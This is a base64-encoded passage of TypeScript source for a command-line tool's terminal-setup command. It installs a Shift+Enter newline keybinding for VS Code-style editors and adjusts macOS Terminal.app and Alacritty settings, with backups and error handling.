cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiBjYWxsKFxuICBvbkRvbmU6IExvY2FsSlNYQ29tbWFuZE9uRG9uZSxcbiAgY29udGV4dDogVG9vbFVzZUNvbnRleHQgJiBMb2NhbEpTWENvbW1hbmRDb250ZXh0LFxuICBfYXJnczogc3RyaW5nLFxuKTogUHJvbWlzZTxudWxsPiB7XG4gIGlmIChlbnYudGVybWluYWwgJiYgZW52LnRlcm1pbmFsIGluIE5BVElWRV9DU0lVX1RFUk1JTkFMUykge1xuICAgIGNvbnN0IG1lc3NhZ2UgPSBgU2hpZnQrRW50ZXIgaXMgbmF0aXZlbHkgc3VwcG9ydGVkIGluICR7TkFUSVZFX0NTSVVfVEVSTUlOQUxTW2Vudi50ZXJtaW5hbF19LlxuXG5ObyBjb25maWd1cmF0aW9uIG5lZWRlZC4gSnVzdCB1c2UgU2hpZnQrRW50ZXIgdG8gYWRkIG5ld2xpbmVzLmBcbiAgICBvbkRvbmUobWVzc2FnZSlcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gQ2hlY2sgaWYgdGVybWluYWwgaXMgc3VwcG9ydGVkXG4gIGlmICghc2hvdWxkT2ZmZXJUZXJtaW5hbFNldHVwKCkpIHtcbiAgICBjb25zdCB0ZXJtaW5hbE5hbWUgPSBlbnYudGVybWluYWwgfHwgJ3lvdXIgY3VycmVudCB0ZXJtaW5hbCdcbiAgICBjb25zdCBjdXJyZW50UGxhdGZvcm0gPSBnZXRQbGF0Zm9ybSgpXG5cbiAgICAvLyBCdWlsZCBwbGF0Zm9ybS1zcGVjaWZpYyB0ZXJtaW5hbCBzdWdnZXN0aW9uc1xuICAgIGxldCBwbGF0Zm9ybVRlcm1pbmFscyA9ICcnXG4gICAgaWYgKGN1cnJlbnRQbGF0Zm9ybSA9PT0gJ21hY29zJykge1xuICAgICAgcGxhdGZvcm1UZXJtaW5hbHMgPSAnICAg4oCiIG1hY09TOiBBcHBsZSBUZXJtaW5hbFxcbidcbiAgICB9IGVsc2UgaWYgKGN1cnJlbnRQbGF0Zm9ybSA9PT0gJ3dpbmRvd3MnKSB7XG4gICAgICBwbGF0Zm9ybVRlcm1pbmFscyA9ICcgICDigKIgV2luZG93czogV2luZG93cyBUZXJtaW5hbFxcbidcbiAgICB9XG4gICAgLy8gRm9yIExpbnV4IGFuZCBvdGhlciBwbGF0Zm9ybXMsIHdlIGRvbid0IHNob3cgbmF0aXZlIHRlcm1pbmFsIG9wdGlvbnNcbiAgICAvLyBzaW5jZSB0aGV5J3JlIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkXG5cbiAgICBjb25zdCBtZXNzYWdlID0gYFRlcm1pbmFsIHNldHVwIGNhbm5vdCBiZSBydW4gZnJvbSAke3Rlcm1pbmFsTmFtZX0uXG5cblRoaXMgY29tbWFuZCBjb25maWd1cmVzIGEgY29udmVuaWVudCBTaGlmdCtFbnRlciBzaG9ydGN1dCBmb3IgbXVsdGktbGluZSBwcm9tcHRzLlxuJHtjaGFsay5kaW0oJ05vdGU6IFlvdSBjYW4gYWxyZWFkeSB1c2UgYmFja3NsYXNoIChcXFxcXFxcXCkgKyByZXR1cm4gdG8gYWRkIG5ld2xpbmVzLicpfVxuXG5UbyBzZXQgdXAgdGhlIHNob3J0Y3V0IChvcHRpb25hbCk6XG4xLiBFeGl0IHRtdXgvc2NyZWVuIHRlbXBvcmFyaWx5XG4yLiBSdW4gL3Rlcm1pbmFsLXNldHVwIGRpcmVjdGx5IGluIG9uZSBvZiB0aGVzZSB0ZXJtaW5hbHM6XG4ke3BsYXRmb3JtVGVybWluYWxzfSAgIOKAoiBJREU6IFZTQ29kZSwgQ3Vyc29yLCBXaW5kc3VyZiwgWmVkXG4gICDigKIgT3RoZXI6IEFsYWNyaXR0eVxuMy4gUmV0dXJuIHRvIHRtdXgvc2NyZWVuIC0gc2V0dGluZ3Mgd2lsbCBwZXJzaXN0XG5cbiR7Y2hhbGsuZGltKCdOb3RlOiBpVGVybTIsIFdlelRlcm0sIEdob3N0dHksIEtpdHR5LCBhbmQgV2FycCBzdXBwb3J0IFNoaWZ0K0VudGVyIG5hdGl2ZWx5LicpfWBcbiAgICBvbkRvbmUobWVzc2FnZSlcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgY29uc3QgcmVzdWx0ID0gYXdhaXQgc2V0dXBUZXJtaW5hbChjb250ZXh0Lm9wdGlvbnMudGhlbWUpXG4gIG9uRG9uZShyZXN1bHQpXG4gIHJldHVybiBudWxsXG59XG5cbnR5cGUgVlNDb2RlS2V5YmluZGluZyA9IHtcbiAga2V5OiBzdHJpbmdcbiAgY29tbWFuZDogc3RyaW5nXG4gIGFyZ3M6IHsgdGV4dDogc3RyaW5nIH1cbiAgd2hlbjogc3RyaW5nXG59XG5cbmFzeW5jIGZ1bmN0aW9uIGluc3RhbGxCaW5kaW5nc0ZvclZTQ29kZVRlcm1pbmFsKFxuICBlZGl0b3I6ICdWU0NvZGUnIHwgJ0N1cnNvcicgfCAnV2luZHN1cmYnID0gJ1ZTQ29kZScsXG4gIHRoZW1lOiBUaGVtZU5hbWUsXG4pOiBQcm9taXNlPHN0cmluZz4ge1xuICAvLyBDaGVjayBpZiB3ZSdyZSBydW5uaW5nIGluIGEgVlNDb2RlIFJlbW90ZSBTU0ggc2Vzc2lvblxuICAvLyBJbiB0aGlzIGNhc2UsIGtleWJpbmRpbmdzIG5lZWQgdG8gYmUgaW5zdGFsbGVkIG9uIHRoZSBMT0NBTCBtYWNoaW5lXG4gIGlmIChpc1ZTQ29kZVJlbW90ZVNTSCgpKSB7XG4gICAgcmV0dXJuIGAke2NvbG9yKFxuICAgICAgJ3dhcm5pbmcnLFxuICAgICAgdGhlbWUsXG4gICAgKShcbiAgICAgIGBDYW5ub3QgaW5zdGFsbCBrZXliaW5kaW5ncyBmcm9tIGEgcmVtb3RlICR7ZWRpdG9yfSBzZXNzaW9uLmAsXG4gICAgKX0ke0VPTH0ke0VPTH0ke2VkaXRvcn0ga2V5YmluZGluZ3MgbXVzdCBiZSBpbnN0YWxsZWQgb24geW91ciBsb2NhbCBtYWNoaW5lLCBub3QgdGhlIHJlbW90ZSBzZXJ2ZXIuJHtFT0x9JHtFT0x9VG8gaW5zdGFsbCB0aGUgU2hpZnQrRW50ZXIga2V5YmluZGluZzoke0VPTH0xLiBPcGVuICR7ZWRpdG9yfSBvbiB5b3VyIGxvY2FsIG1hY2hpbmUgKG5vdCBjb25uZWN0ZWQgdG8gcmVtb3RlKSR7RU9MfTIuIE9wZW4gdGhlIENvbW1hbmQgUGFsZXR0ZSAoQ21kL0N0cmwrU2hpZnQrUCkg4oaSIFwiUHJlZmVyZW5jZXM6IE9wZW4gS2V5Ym9hcmQgU2hvcnRjdXRzIChKU09OKVwiJHtFT0x9My4gQWRkIHRoaXMga2V5YmluZGluZyAodGhlIGZpbGUgbXVzdCBiZSBhIEpTT04gYXJyYXkpOiR7RU9MfSR7RU9MfSR7Y2hhbGsuZGltKGBbXG4gIHtcbiAgICBcImtleVwiOiBcInNoaWZ0K2VudGVyXCIsXG4gICAgXCJjb21tYW5kXCI6IFwid29ya2JlbmNoLmFjdGlvbi50ZXJtaW5hbC5zZW5kU2VxdWVuY2VcIixcbiAgICBcImFyZ3NcIjogeyBcInRleHRcIjogXCJcXFxcdTAwMWJcXFxcclwiIH0sXG4gICAgXCJ3aGVuXCI6IFwidGVybWluYWxGb2N1c1wiXG4gIH1cbl1gKX0ke0VPTH1gXG4gIH1cblxuICBjb25zdCBlZGl0b3JEaXIgPSBlZGl0b3IgPT09ICdWU0NvZGUnID8gJ0NvZGUnIDogZWRpdG9yXG4gIGNvbnN0IHVzZXJEaXJQYXRoID0gam9pbihcbiAgICBob21lZGlyKCksXG4gICAgcGxhdGZvcm0oKSA9PT0gJ3dpbjMyJ1xuICAgICAgPyBqb2luKCdBcHBEYXRhJywgJ1JvYW1pbmcnLCBlZGl0b3JEaXIsICdVc2VyJylcbiAgICAgIDogcGxhdGZvcm0oKSA9PT0gJ2RhcndpbidcbiAgICAgICAgPyBqb2luKCdMaWJyYXJ5JywgJ0FwcGxpY2F0aW9uIFN1cHBvcnQnLCBlZGl0b3JEaXIsICdVc2VyJylcbiAgICAgICAgOiBqb2luKCcuY29uZmlnJywgZWRpdG9yRGlyLCAnVXNlcicpLFxuICApXG4gIGNvbnN0IGtleWJpbmRpbmdzUGF0aCA9IGpvaW4odXNlckRpclBhdGgsICdrZXliaW5kaW5ncy5qc29uJylcblxuICB0cnkge1xuICAgIC8vIEVuc3VyZSB1c2VyIGRpcmVjdG9yeSBleGlzdHMgKGlkZW1wb3RlbnQgd2l0aCByZWN1cnNpdmUpXG4gICAgYXdhaXQgbWtkaXIodXNlckRpclBhdGgsIHsgcmVjdXJzaXZlOiB0cnVlIH0pXG5cbiAgICAvLyBSZWFkIGV4aXN0aW5nIGtleWJpbmRpbmdzIGZpbGUsIG9yIGRlZmF1bHQgdG8gZW1wdHkgYXJyYXkgaWYgaXQgZG9lc24ndCBleGlzdFxuICAgIGxldCBjb250ZW50ID0gJ1tdJ1xuICAgIGxldCBrZXliaW5kaW5nczogVlNDb2RlS2V5YmluZGluZ1tdID0gW11cbiAgICBsZXQgZmlsZUV4aXN0cyA9IGZhbHNlXG4gICAgdHJ5IHtcbiAgICAgIGNvbnRlbnQgPSBhd2FpdCByZWFkRmlsZShrZXliaW5kaW5nc1BhdGgsIHsgZW5jb2Rpbmc6ICd1dGYtOCcgfSlcbiAgICAgIGZpbGVFeGlzdHMgPSB0cnVlXG4gICAgICBrZXliaW5kaW5ncyA9IChzYWZlUGFyc2VKU09OQyhjb250ZW50KSBhcyBWU0NvZGVLZXliaW5kaW5nW10pID8/IFtdXG4gICAgfSBjYXRjaCAoZTogdW5rbm93bikge1xuICAgICAgaWYgKCFpc0ZzSW5hY2Nlc3NpYmxlKGUpKSB0aHJvdyBlXG4gICAgfVxuXG4gICAgLy8gQmFja3VwIHRoZSBleGlzdGluZyBmaWxlIGJlZm9yZSBtb2RpZnlpbmcgaXRcbiAgICBpZiAoZmlsZUV4aXN0cykge1xuICAgICAgY29uc3QgcmFuZG9tU2hhID0gcmFuZG9tQnl0ZXMoNCkudG9TdHJpbmcoJ2hleCcpXG4gICAgICBjb25zdCBiYWNrdXBQYXRoID0gYCR7a2V5YmluZGluZ3NQYXRofS4ke3JhbmRvbVNoYX0uYmFrYFxuICAgICAgdHJ5IHtcbiAgICAgICAgYXdhaXQgY29weUZpbGUoa2V5YmluZGluZ3NQYXRoLCBiYWNrdXBQYXRoKVxuICAgICAgfSBjYXRjaCB7XG4gICAgICAgIHJldHVybiBgJHtjb2xvcihcbiAgICAgICAgICAnd2FybmluZycsXG4gICAgICAgICAgdGhlbWUsXG4gICAgICAgICkoXG4gICAgICAgICAgYEVycm9yIGJhY2tpbmcgdXAgZXhpc3RpbmcgJHtlZGl0b3J9IHRlcm1pbmFsIGtleWJpbmRpbmdzLiBCYWlsaW5nIG91dC5gLFxuICAgICAgICApfSR7RU9MfSR7Y2hhbGsuZGltKGBTZWUgJHtmb3JtYXRQYXRoTGluayhrZXliaW5kaW5nc1BhdGgpfWApfSR7RU9MfSR7Y2hhbGsuZGltKGBCYWNrdXAgcGF0aDogJHtmb3JtYXRQYXRoTGluayhiYWNrdXBQYXRoKX1gKX0ke0VPTH1gXG4gICAgICB9XG4gICAgfVxuXG4gICAgLy8gQ2hlY2sgaWYga2V5YmluZGluZyBhbHJlYWR5IGV4aXN0c1xuICAgIGNvbnN0IGV4aXN0aW5nQmluZGluZyA9IGtleWJpbmRpbmdzLmZpbmQoXG4gICAgICBiaW5kaW5nID0+XG4gICAgICAgIGJpbmRpbmcua2V5ID09PSAnc2hpZnQrZW50ZXInICYmXG4gICAgICAgIGJpbmRpbmcuY29tbWFuZCA9PT0gJ3dvcmtiZW5jaC5hY3Rpb24udGVybWluYWwuc2VuZFNlcXVlbmNlJyAmJlxuICAgICAgICBiaW5kaW5nLndoZW4gPT09ICd0ZXJtaW5hbEZvY3VzJyxcbiAgICApXG4gICAgaWYgKGV4aXN0aW5nQmluZGluZykge1xuICAgICAgcmV0dXJuIGAke2NvbG9yKFxuICAgICAgICAnd2FybmluZycsXG4gICAgICAgIHRoZW1lLFxuICAgICAgKShcbiAgICAgICAgYEZvdW5kIGV4aXN0aW5nICR7ZWRpdG9yfSB0ZXJtaW5hbCBTaGlmdCtFbnRlciBrZXkgYmluZGluZy4gUmVtb3ZlIGl0IHRvIGNvbnRpbnVlLmAsXG4gICAgICApfSR7RU9MfSR7Y2hhbGsuZGltKGBTZWUgJHtmb3JtYXRQYXRoTGluayhrZXliaW5kaW5nc1BhdGgpfWApfSR7RU9MfWBcbiAgICB9XG5cbiAgICAvLyBDcmVhdGUgdGhlIG5ldyBrZXliaW5kaW5nXG4gICAgY29uc3QgbmV3S2V5YmluZGluZzogVlNDb2RlS2V5YmluZGluZyA9IHtcbiAgICAgIGtleTogJ3NoaWZ0K2VudGVyJyxcbiAgICAgIGNvbW1hbmQ6ICd3b3JrYmVuY2guYWN0aW9uLnRlcm1pbmFsLnNlbmRTZXF1ZW5jZScsXG4gICAgICBhcmdzOiB7IHRleHQ6ICdcXHUwMDFiXFxyJyB9LFxuICAgICAgd2hlbjogJ3Rlcm1pbmFsRm9jdXMnLFxuICAgIH1cblxuICAgIC8vIE1vZGlmeSB0aGUgY29udGVudCBieSBhZGRpbmcgdGhlIG5ldyBrZXliaW5kaW5nIHdoaWxlIHByZXNlcnZpbmcgY29tbWVudHMgYW5kIGZvcm1hdHRpbmdcbiAgICBjb25zdCB1cGRhdGVkQ29udGVudCA9IGFkZEl0ZW1Ub0pTT05DQXJyYXkoY29udGVudCwgbmV3S2V5YmluZGluZylcblxuICAgIC8vIFdyaXRlIHRoZSB1cGRhdGVkIGNvbnRlbnQgYmFjayB0byB0aGUgZmlsZVxuICAgIGF3YWl0IHdyaXRlRmlsZShrZXliaW5kaW5nc1BhdGgsIHVwZGF0ZWRDb250ZW50LCB7IGVuY29kaW5nOiAndXRmLTgnIH0pXG5cbiAgICByZXR1cm4gYCR7Y29sb3IoXG4gICAgICAnc3VjY2VzcycsXG4gICAgICB0aGVtZSxcbiAgICApKFxuICAgICAgYEluc3RhbGxlZCAke2VkaXRvcn0gdGVybWluYWwgU2hpZnQrRW50ZXIga2V5IGJpbmRpbmdgLFxuICAgICl9JHtFT0x9JHtjaGFsay5kaW0oYFNlZSAke2Zvcm1hdFBhdGhMaW5rKGtleWJpbmRpbmdzUGF0aCl9YCl9JHtFT0x9YFxuICB9IGNhdGNoIChlcnJvcikge1xuICAgIGxvZ0Vycm9yKGVycm9yKVxuICAgIHRocm93IG5ldyBFcnJvcihcbiAgICAgIGBGYWlsZWQgdG8gaW5zdGFsbCAke2VkaXRvcn0gdGVybWluYWwgU2hpZnQrRW50ZXIga2V5IGJpbmRpbmdgLFxuICAgIClcbiAgfVxufVxuXG5hc3luYyBmdW5jdGlvbiBlbmFibGVPcHRpb25Bc01ldGFGb3JQcm9maWxlKFxuICBwcm9maWxlTmFtZTogc3RyaW5nLFxuKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIC8vIEZpcnN0IHRyeSB0byBhZGQgdGhlIHByb3BlcnR5IChpbiBjYXNlIGl0IGRvZXNuJ3QgZXhpc3QpXG4gIC8vIFF1b3RlIHRoZSBwcm9maWxlIG5hbWUgdG8gaGFuZGxlIG5hbWVzIHdpdGggc3BhY2VzIChlLmcuLCBcIk1hbiBQYWdlXCIsIFwiUmVkIFNhbmRzXCIpXG4gIGNvbnN0IHsgY29kZTogYWRkQ29kZSB9ID0gYXdhaXQgZXhlY0ZpbGVOb1Rocm93KCcvdXNyL2xpYmV4ZWMvUGxpc3RCdWRkeScsIFtcbiAgICAnLWMnLFxuICAgIGBBZGQgOidXaW5kb3cgU2V0dGluZ3MnOicke3Byb2ZpbGVOYW1lfSc6dXNlT3B0aW9uQXNNZXRhS2V5IGJvb2wgdHJ1ZWAsXG4gICAgZ2V0VGVybWluYWxQbGlzdFBhdGgoKSxcbiAgXSlcblxuICAvLyBJZiBhZGRpbmcgZmFpbHMgKGxpa2VseSBiZWNhdXNlIGl0IGFscmVhZHkgZXhpc3RzKSwgdHJ5IHNldHRpbmcgaXQgaW5zdGVhZFxuICBpZiAoYWRkQ29kZSAhPT0gMCkge1xuICAgIGNvbnN0IHsgY29kZTogc2V0Q29kZSB9ID0gYXdhaXQgZXhlY0ZpbGVOb1Rocm93KCcvdXNyL2xpYmV4ZWMvUGxpc3RCdWRkeScsIFtcbiAgICAgICctYycsXG4gICAgICBgU2V0IDonV2luZG93IFNldHRpbmdzJzonJHtwcm9maWxlTmFtZX0nOnVzZU9wdGlvbkFzTWV0YUtleSB0cnVlYCxcbiAgICAgIGdldFRlcm1pbmFsUGxpc3RQYXRoKCksXG4gICAgXSlcblxuICAgIGlmIChzZXRDb2RlICE9PSAwKSB7XG4gICAgICBsb2dFcnJvcihcbiAgICAgICAgbmV3IEVycm9yKFxuICAgICAgICAgIGBGYWlsZWQgdG8gZW5hYmxlIE9wdGlvbiBhcyBNZXRhIGtleSBmb3IgVGVybWluYWwuYXBwIHByb2ZpbGU6ICR7cHJvZmlsZU5hbWV9YCxcbiAgICAgICAgKSxcbiAgICAgIClcbiAgICAgIHJldHVybiBmYWxzZVxuICAgIH1cbiAgfVxuXG4gIHJldHVybiB0cnVlXG59XG5cbmFzeW5jIGZ1bmN0aW9uIGRpc2FibGVBdWRpb0JlbGxGb3JQcm9maWxlKFxuICBwcm9maWxlTmFtZTogc3RyaW5nLFxuKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIC8vIEZpcnN0IHRyeSB0byBhZGQgdGhlIHByb3BlcnR5IChpbiBjYXNlIGl0IGRvZXNuJ3QgZXhpc3QpXG4gIC8vIFF1b3RlIHRoZSBwcm9maWxlIG5hbWUgdG8gaGFuZGxlIG5hbWVzIHdpdGggc3BhY2VzIChlLmcuLCBcIk1hbiBQYWdlXCIsIFwiUmVkIFNhbmRzXCIpXG4gIGNvbnN0IHsgY29kZTogYWRkQ29kZSB9ID0gYXdhaXQgZXhlY0ZpbGVOb1Rocm93KCcvdXNyL2xpYmV4ZWMvUGxpc3RCdWRkeScsIFtcbiAgICAnLWMnLFxuICAgIGBBZGQgOidXaW5kb3cgU2V0dGluZ3MnOicke3Byb2ZpbGVOYW1lfSc6QmVsbCBib29sIGZhbHNlYCxcbiAgICBnZXRUZXJtaW5hbFBsaXN0UGF0aCgpLFxuICBdKVxuXG4gIC8vIElmIGFkZGluZyBmYWlscyAobGlrZWx5IGJlY2F1c2UgaXQgYWxyZWFkeSBleGlzdHMpLCB0cnkgc2V0dGluZyBpdCBpbnN0ZWFkXG4gIGlmIChhZGRDb2RlICE9PSAwKSB7XG4gICAgY29uc3QgeyBjb2RlOiBzZXRDb2RlIH0gPSBhd2FpdCBleGVjRmlsZU5vVGhyb3coJy91c3IvbGliZXhlYy9QbGlzdEJ1ZGR5JywgW1xuICAgICAgJy1jJyxcbiAgICAgIGBTZXQgOidXaW5kb3cgU2V0dGluZ3MnOicke3Byb2ZpbGVOYW1lfSc6QmVsbCBmYWxzZWAsXG4gICAgICBnZXRUZXJtaW5hbFBsaXN0UGF0aCgpLFxuICAgIF0pXG5cbiAgICBpZiAoc2V0Q29kZSAhPT0gMCkge1xuICAgICAgbG9nRXJyb3IoXG4gICAgICAgIG5ldyBFcnJvcihcbiAgICAgICAgICBgRmFpbGVkIHRvIGRpc2FibGUgYXVkaW8gYmVsbCBmb3IgVGVybWluYWwuYXBwIHByb2ZpbGU6ICR7cHJvZmlsZU5hbWV9YCxcbiAgICAgICAgKSxcbiAgICAgIClcbiAgICAgIHJldHVybiBmYWxzZVxuICAgIH1cbiAgfVxuXG4gIHJldHVybiB0cnVlXG59XG5cbi8vIEVuYWJsZSBPcHRpb24gYXMgTWV0YSBrZXkgZm9yIFRlcm1pbmFsLmFwcFxuYXN5bmMgZnVuY3Rpb24gZW5hYmxlT3B0aW9uQXNNZXRhRm9yVGVybWluYWwoXG4gIHRoZW1lOiBUaGVtZU5hbWUsXG4pOiBQcm9taXNlPHN0cmluZz4ge1xuICB0cnkge1xuICAgIC8vIENyZWF0ZSBhIGJhY2t1cCBvZiB0aGUgY3VycmVudCBwbGlzdCBmaWxlXG4gICAgY29uc3QgYmFja3VwUGF0aCA9IGF3YWl0IGJhY2t1cFRlcm1pbmFsUHJlZmVyZW5jZXMoKVxuICAgIGlmICghYmFja3VwUGF0aCkge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKFxuICAgICAgICAnRmFpbGVkIHRvIGNyZWF0ZSBiYWNrdXAgb2YgVGVybWluYWwuYXBwIHByZWZlcmVuY2VzLCBiYWlsaW5nIG91dCcsXG4gICAgICApXG4gICAgfVxuXG4gICAgLy8gUmVhZCB0aGUgY3VycmVudCBkZWZhdWx0IHByb2ZpbGUgZnJvbSB0aGUgcGxpc3RcbiAgICBjb25zdCB7IHN0ZG91dDogZGVmYXVsdFByb2ZpbGUsIGNvZGU6IHJlYWRDb2RlIH0gPSBhd2FpdCBleGVjRmlsZU5vVGhyb3coXG4gICAgICAnZGVmYXVsdHMnLFxuICAgICAgWydyZWFkJywgJ2NvbS5hcHBsZS5UZXJtaW5hbCcsICdEZWZhdWx0IFdpbmRvdyBTZXR0aW5ncyddLFxuICAgIClcblxuICAgIGlmIChyZWFkQ29kZSAhPT0gMCB8fCAhZGVmYXVsdFByb2ZpbGUudHJpbSgpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ0ZhaWxlZCB0byByZWFkIGRlZmF1bHQgVGVybWluYWwuYXBwIHByb2ZpbGUnKVxuICAgIH1cblxuICAgIGNvbnN0IHsgc3Rkb3V0OiBzdGFydHVwUHJvZmlsZSwgY29kZTogc3RhcnR1cENvZGUgfSA9IGF3YWl0IGV4ZWNGaWxlTm9UaHJvdyhcbiAgICAgICdkZWZhdWx0cycsXG4gICAgICBbJ3JlYWQnLCAnY29tLmFwcGxlLlRlcm1pbmFsJywgJ1N0YXJ0dXAgV2luZG93IFNldHRpbmdzJ10sXG4gICAgKVxuICAgIGlmIChzdGFydHVwQ29kZSAhPT0gMCB8fCAhc3RhcnR1cFByb2ZpbGUudHJpbSgpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ0ZhaWxlZCB0byByZWFkIHN0YXJ0dXAgVGVybWluYWwuYXBwIHByb2ZpbGUnKVxuICAgIH1cblxuICAgIGxldCB3YXNBbnlQcm9maWxlVXBkYXRlZCA9IGZhbHNlXG5cbiAgICBjb25zdCBkZWZhdWx0UHJvZmlsZU5hbWUgPSBkZWZhdWx0UHJvZmlsZS50cmltKClcbiAgICBjb25zdCBvcHRpb25Bc01ldGFFbmFibGVkID1cbiAgICAgIGF3YWl0IGVuYWJsZU9wdGlvbkFzTWV0YUZvclByb2ZpbGUoZGVmYXVsdFByb2ZpbGVOYW1lKVxuICAgIGNvbnN0IGF1ZGlvQmVsbERpc2FibGVkID1cbiAgICAgIGF3YWl0IGRpc2FibGVBdWRpb0JlbGxGb3JQcm9maWxlKGRlZmF1bHRQcm9maWxlTmFtZSlcblxuICAgIGlmIChvcHRpb25Bc01ldGFFbmFibGVkIHx8IGF1ZGlvQmVsbERpc2FibGVkKSB7XG4gICAgICB3YXNBbnlQcm9maWxlVXBkYXRlZCA9IHRydWVcbiAgICB9XG5cbiAgICBjb25zdCBzdGFydHVwUHJvZmlsZU5hbWUgPSBzdGFydHVwUHJvZmlsZS50cmltKClcblxuICAgIC8vIE9ubHkgcHJvY2VlZCBpZiB0aGUgc3RhcnR1cCBwcm9maWxlIGlzIGRpZmZlcmVudCBmcm9tIHRoZSBkZWZhdWx0IHByb2ZpbGVcbiAgICBpZiAoc3RhcnR1cFByb2ZpbGVOYW1lICE9PSBkZWZhdWx0UHJvZmlsZU5hbWUpIHtcbiAgICAgIGNvbnN0IHN0YXJ0dXBPcHRpb25Bc01ldGFFbmFibGVkID1cbiAgICAgICAgYXdhaXQgZW5hYmxlT3B0aW9uQXNNZXRhRm9yUHJvZmlsZShzdGFydHVwUHJvZmlsZU5hbWUpXG4gICAgICBjb25zdCBzdGFydHVwQXVkaW9CZWxsRGlzYWJsZWQgPVxuICAgICAgICBhd2FpdCBkaXNhYmxlQXVkaW9CZWxsRm9yUHJvZmlsZShzdGFydHVwUHJvZmlsZU5hbWUpXG5cbiAgICAgIGlmIChzdGFydHVwT3B0aW9uQXNNZXRhRW5hYmxlZCB8fCBzdGFydHVwQXVkaW9CZWxsRGlzYWJsZWQpIHtcbiAgICAgICAgd2FzQW55UHJvZmlsZVVwZGF0ZWQgPSB0cnVlXG4gICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCF3YXNBbnlQcm9maWxlVXBkYXRlZCkge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKFxuICAgICAgICAnRmFpbGVkIHRvIGVuYWJsZSBPcHRpb24gYXMgTWV0YSBrZXkgb3IgZGlzYWJsZSBhdWRpbyBiZWxsIGZvciBhbnkgVGVybWluYWwuYXBwIHByb2ZpbGUnLFxuICAgICAgKVxuICAgIH1cblxuICAgIC8vIEZsdXNoIHRoZSBwcmVmZXJlbmNlcyBjYWNoZVxuICAgIGF3YWl0IGV4ZWNGaWxlTm9UaHJvdygna2lsbGFsbCcsIFsnY2ZwcmVmc2QnXSlcblxuICAgIG1hcmtUZXJtaW5hbFNldHVwQ29tcGxldGUoKVxuXG4gICAgcmV0dXJuIGAke2NvbG9yKFxuICAgICAgJ3N1Y2Nlc3MnLFxuICAgICAgdGhlbWUsXG4gICAgKShcbiAgICAgIGBDb25maWd1cmVkIFRlcm1pbmFsLmFwcCBzZXR0aW5nczpgLFxuICAgICl9JHtFT0x9JHtjb2xvcignc3VjY2VzcycsIHRoZW1lKSgnLSBFbmFibGVkIFwiVXNlIE9wdGlvbiBhcyBNZXRhIGtleVwiJyl9JHtFT0x9JHtjb2xvcignc3VjY2VzcycsIHRoZW1lKSgnLSBTd2l0Y2hlZCB0byB2aXN1YWwgYmVsbCcpfSR7RU9MfSR7Y2hhbGsuZGltKCdPcHRpb24rRW50ZXIgd2lsbCBub3cgZW50ZXIgYSBuZXdsaW5lLicpfSR7RU9MfSR7Y2hhbGsuZGltKCdZb3UgbXVzdCByZXN0YXJ0IFRlcm1pbmFsLmFwcCBmb3IgY2hhbmdlcyB0byB0YWtlIGVmZmVjdC4nLCB0aGVtZSl9JHtFT0x9YFxuICB9IGNhdGNoIChlcnJvcikge1xuICAgIGxvZ0Vycm9yKGVycm9yKVxuXG4gICAgLy8gQXR0ZW1wdCB0byByZXN0b3JlIGZyb20gYmFja3VwXG4gICAgY29uc3QgcmVzdG9yZVJlc3VsdCA9IGF3YWl0IGNoZWNrQW5kUmVzdG9yZVRlcm1pbmFsQmFja3VwKClcblxuICAgIGNvbnN0IGVycm9yTWVzc2FnZSA9ICdGYWlsZWQgdG8gZW5hYmxlIE9wdGlvbiBhcyBNZXRhIGtleSBmb3IgVGVybWluYWwuYXBwLidcbiAgICBpZiAocmVzdG9yZVJlc3VsdC5zdGF0dXMgPT09ICdyZXN0b3JlZCcpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcihcbiAgICAgICAgYCR7ZXJyb3JNZXNzYWdlfSBZb3VyIHNldHRpbmdzIGhhdmUgYmVlbiByZXN0b3JlZCBmcm9tIGJhY2t1cC5gLFxuICAgICAgKVxuICAgIH0gZWxzZSBpZiAocmVzdG9yZVJlc3VsdC5zdGF0dXMgPT09ICdmYWlsZWQnKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoXG4gICAgICAgIGAke2Vycm9yTWVzc2FnZX0gUmVzdG9yaW5nIGZyb20gYmFja3VwIGZhaWxlZCwgdHJ5IG1hbnVhbGx5IHdpdGg6IGRlZmF1bHRzIGltcG9ydCBjb20uYXBwbGUuVGVybWluYWwgJHtyZXN0b3JlUmVzdWx0LmJhY2t1cFBhdGh9YCxcbiAgICAgIClcbiAgICB9IGVsc2Uge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKFxuICAgICAgICBgJHtlcnJvck1lc3NhZ2V9IE5vIGJhY2t1cCB3YXMgYXZhaWxhYmxlIHRvIHJlc3RvcmUgZnJvbS5gLFxuICAgICAgKVxuICAgIH1cbiAgfVxufVxuXG5hc3luYyBmdW5jdGlvbiBpbnN0YWxsQmluZGluZ3NGb3JBbGFjcml0dHkodGhlbWU6IFRoZW1lTmFtZSk6IFByb21pc2U8c3RyaW5nPiB7XG4gIGNvbnN0IEFMQUNSSVRUWV9LRVlCSU5ESU5HID0gYFtba2V5Ym9hcmQuYmluZGluZ3NdXVxua2V5ID0gXCJSZXR1cm5cIlxubW9kcyA9IFwiU2hpZnRcIlxuY2hhcnMgPSBcIlxcXFx1MDAxQlxcXFxyXCJgXG5cbiAgLy8gR2V0IEFsYWNyaXR0eSBjb25maWcgZmlsZSBwYXRocyBpbiBvcmRlciBvZiBwcmVmZXJlbmNlXG4gIGNvbnN0IGNvbmZpZ1BhdGhzOiBzdHJpbmdbXSA9IFtdXG5cbiAgLy8gWERHIGNvbmZpZyBwYXRoIChMaW51eCBhbmQgbWFjT1MpXG4gIGNvbnN0IHhkZ0NvbmZpZ0hvbWUgPSBwcm9jZXNzLmVudi5YREdfQ09ORklHX0hPTUVcbiAgaWYgKHhkZ0NvbmZpZ0hvbWUpIHtcbiAgICBjb25maWdQYXRocy5wdXNoKGpvaW4oeGRnQ29uZmlnSG9tZSwgJ2FsYWNyaXR0eScsICdhbGFjcml0dHkudG9tbCcpKVxuICB9IGVsc2Uge1xuICAgIGNvbm